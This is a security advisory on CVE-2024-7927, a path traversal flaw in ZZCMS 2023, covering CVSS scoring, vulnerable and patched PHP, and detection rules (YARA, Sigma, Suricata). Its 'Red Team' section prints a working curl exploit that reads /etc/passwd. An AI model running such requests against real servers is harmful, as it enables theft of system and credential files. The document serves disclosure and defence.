CVE-2024-7927

Executive Summary

CVE-2024-7927 is a critical path traversal vulnerability discovered in ZZCMS 2023. The flaw resides in the /admin/class.php?dowhat=modifyclass endpoint, where the skin[] parameter is improperly sanitized, allowing an attacker to traverse directories and read arbitrary files on the server. This vulnerability is remotely exploitable without authentication, posing a significant risk to confidentiality. As of this report, no official patch has been released by the vendor, and a public proof-of-concept (PoC) is available, increasing the likelihood of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is classified as High severity due to the ease of exploitation and the potential for unauthorized access to sensitive system files, such as configuration files containing database credentials or application secrets.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw. The /admin/class.php script, when called with the dowhat=modifyclass action, accepts a skin[] parameter. This parameter is likely used to specify a file path for a skin or template file. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../) into the skin[] parameter to escape the intended directory and read arbitrary files.

Technical Details:

• Endpoint: /admin/class.php?dowhat=modifyclass
• Vulnerable Parameter: skin[] (array parameter)
• Attack Vector: Remote, unauthenticated HTTP GET request
• Impact: Arbitrary file read (e.g., /etc/passwd, application configuration files)

The lack of proper sanitization or whitelisting of the skin[] parameter allows an attacker to specify paths like ../../../../etc/passwd to read system files. Since the application runs with the privileges of the web server, this can lead to exposure of sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable snippet from /admin/class.php
$skin = $_GET['skin'];
if (isset($skin)) {
    $file_path = "skins/" . $skin[0]; // Direct concatenation without sanitization
    include($file_path);
}

Patched Code (Recommended):

// Patched version with proper validation
$skin = $_GET['skin'];
if (isset($skin) && is_array($skin)) {
    $skin_name = basename($skin[0]); // Strip path components
    $allowed_skins = ['default', 'dark', 'light']; // Whitelist
    if (in_array($skin_name, $allowed_skins)) {
        $file_path = "skins/" . $skin_name;
        include($file_path);
    } else {
        // Handle invalid skin
        die("Invalid skin.");
    }
}

The patched code uses basename() to remove directory traversal sequences and implements a whitelist of allowed skin names, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running ZZCMS 2023 with the vulnerable endpoint exposed.
• No authentication required.

Exploit Steps:

1. Identify the target URL: http://target.com/admin/class.php?dowhat=modifyclass
2. Craft a request with a path traversal payload in the skin[] parameter:

   GET /admin/class.php?dowhat=modifyclass&skin[]=../../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. Observe the response. If successful, the contents of /etc/passwd will be returned.

Example cURL Command:

curl -v "http://target.com/admin/class.php?dowhat=modifyclass&skin[]=../../../../etc/passwd"

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /admin/class.php with dowhat=modifyclass and suspicious skin[] parameters containing ../ or absolute paths.
• Alert on multiple failed login attempts followed by such requests (though no auth is required, this may indicate scanning).

Response:

• Immediately block the attacking IP address at the firewall or WAF.
• Review server logs for any successful exploitation and assess data exposure.
• If sensitive files were read (e.g., database config), rotate credentials and investigate further.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/class.php?dowhat=modifyclass&skin[]=...
  • User-Agent strings commonly used by automated scanners (e.g., curl, python-requests, Go-http-client).
• File System IOCs:
  • Unexpected access to files outside the web root (e.g., /etc/passwd, /etc/shadow, application config files).
• Log IOCs:
  • Web server access logs showing path traversal patterns in the skin[] parameter.

Detection Engineering

YARA Rule

rule CVE_2024_7927_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2024-7927 in ZZCMS"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-7927"
    strings:
        $traversal1 = "skin[]=../" ascii wide nocase
        $traversal2 = "skin[]=..\\" ascii wide nocase
        $traversal3 = "skin[]=%2e%2e/" ascii wide nocase
        $endpoint = "/admin/class.php" ascii wide nocase
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-7927 ZZCMS Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting path traversal in ZZCMS /admin/class.php
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '/admin/class.php?dowhat=modifyclass&skin[]=../'
            - '/admin/class.php?dowhat=modifyclass&skin[]=..\\'
            - '/admin/class.php?dowhat=modifyclass&skin[]=%2e%2e/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in testing environments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7927 ZZCMS Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/class.php"; http_uri; content:"dowhat=modifyclass"; http_uri; content:"skin[]="; http_uri; pcre:"/skin\[\]=\.\.\//Ui"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /admin/class.php via web server configuration (e.g., .htaccess or Nginx location block).
2. Apply virtual patching using a Web Application Firewall (WAF) to block requests containing path traversal patterns in the skin[] parameter.
3. Restrict file permissions on the server to limit the impact of successful exploitation (e.g., ensure the web server user has minimal read access).

Long-Term Fix:

• The vendor (ZZCMS) must release a patch that properly sanitizes the skin[] parameter. In the absence of an official patch, implement the code fix described in the "Vulnerable vs. Patched Code" section.
• Conduct a security audit of the entire application for similar input validation flaws.

Workaround:

• If the admin functionality is not needed, remove or rename the admin directory.
• Use a reverse proxy to filter malicious requests.

Valters IT